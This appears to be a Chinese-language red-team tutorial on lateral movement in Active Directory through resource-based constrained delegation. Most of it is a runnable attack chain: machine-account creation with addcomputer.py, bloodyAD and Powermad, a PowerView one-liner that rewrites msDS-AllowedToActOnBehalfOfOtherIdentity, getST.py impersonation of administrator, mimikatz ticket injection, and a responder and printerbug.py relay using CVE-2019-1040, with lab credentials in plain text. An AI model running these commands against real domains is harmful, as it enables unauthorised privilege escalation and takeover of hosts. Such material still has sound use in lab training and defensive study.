内网对抗-横向移动篇&Kerberos&委派安全&RBCD资源&Operators组成员&HTLMRelay结合
➢ 横向移动-资源约束委派-利用域用户主机加入
➢ 横向移动-资源约束委派-Acount Operators组
➢ 横向移动-资源约束委派-CVE结合HTLMRelay
基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。
所以核心就是谁或什么权限能修改msDS-AllowedToActOnBehalfOfOtherIdentity
简单的讲,也就是如果攻击者能够在data的机器上设置msDS-AllowedToActOnBehalfOfOtherIdentity属性为ServiceA,
也就允许ServiceA利用s4u2self协议代表其他用户身份来访问data的话,那我们就可以做到横向移动及提权等操作。
资源约束委派利用分类:
1、通过管理主机加入域的用户拿下主机
2、已知Acount Operators组用户拿下主机
3、结合HTLM Relay攻击拿下主机(CVE-2019-1040)
#横向移动-资源约束委派-利用域用户主机加入
利用思路:
计算机加⼊域时,加⼊域的域⽤户被控后也将导致使用当前域用户加入的计算机受控。
利用条件:
1、允许创建机器账户
2、具有管理主机加入域的用户账户
利用过程:
1、判断是否有利用条件:
查询被域用户创建的机器账户列表:
shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
根据查询出来的sid找出对应的用户名:
shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(objectsid=S-1-5-21-1695257952-3088263962-2055235443-1104))" objectclass cn dn
2、开始利用新增机器账户
添加一个机器账户,用于申请票据
# 使用addcpmputer创建机器账户(需要明文密码)
python addcomputer.py xiaodi8.com/web2016:Xiaodi12345 -method LDAPS -computer-name test01\$ -computer-pass Passw0rd -dc-ip 192.168.139.11
# 使用bloodyAD工具创建机器账户(需要明文密码)
python bloodyAD.py -d redteam.lab -u web2016 -p 'Xiaodi12345' --host 192.168.139.11 addComputer test01 'Passw0rd'
# 使用PowerMad工具创建机器账户(推荐使用)
powershell Set-ExecutionPolicy Bypass -Scope Process
powershell Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
3、利用新增机器账户修改委派属性满足申请访问目标票款
修改目标主机的资源委派属性(data)
msds-allowedtoactonbehalfofotheridentity
获取新增账户的objectsid
powershell Import-Module .\PowerView.ps1;Get-NetComputer serviceA -Properties objectsid
修改datax主机委派属性:(需要修改下面两个值)
powershell import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1124)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer datax| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
验证和清除委派属性:
powershell import-module .\powerview.ps1;Get-DomainComputer data -Properties msds-allowedtoactonbehalfofotheridentity
powershell import-module .\powerview.ps1;Set-DomainObject data -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
4、利用修改后的属性申请目标请求票据后导入利用
利用serviceA申请访问data主机cifs服务票据:(dc:192.168.3.33)
python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/datax.xiaodi.local -impersonate administrator
导入票据到内存:
mimikatz kerberos::ptc administrator.ccache
连接利用票据:
shell dir \\data.xiaodi.local\c$
#横向移动-资源约束委派-Acount Operators组
利用思路:
Acount Operators组成员可修改域内任意主机的msDS-AllowedToActOnBehalfOfOtherIdentity属性。(除DC)
利用条件:
1、获取到属于Acount Operators组的用户账户
2、可以创建机器账户
利用过程:
1、判断是否有利用条件:
查询Acount Operators组成员:
shell adfind.exe -h 192.168.3.33:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=xiaodi,DC=local member
2、后续利用同上
#横向移动-资源约束委派-CVE结合HTLMRelay
利用思路:
绕过NTLM MIC校验+打印机漏洞+NTLM Relay+基于资源的约束性委派组合攻击
利用条件:
1、能创建机器账户
2、目标开启打印机服务
利用过程:
1、监听:
-使用ntlmrelayx工具(后续讲到中继重放攻击等)
-responder -I eth1 -wd
2、利用打印机漏洞(CVE-2019-1040)让目标3.33强制访问3.143
下载:https://github.com/dirkjanm/krbrelayx
python printerbug.py xiaodi.local/webadmin:admin!@#45@192.168.3.33 192.168.3.143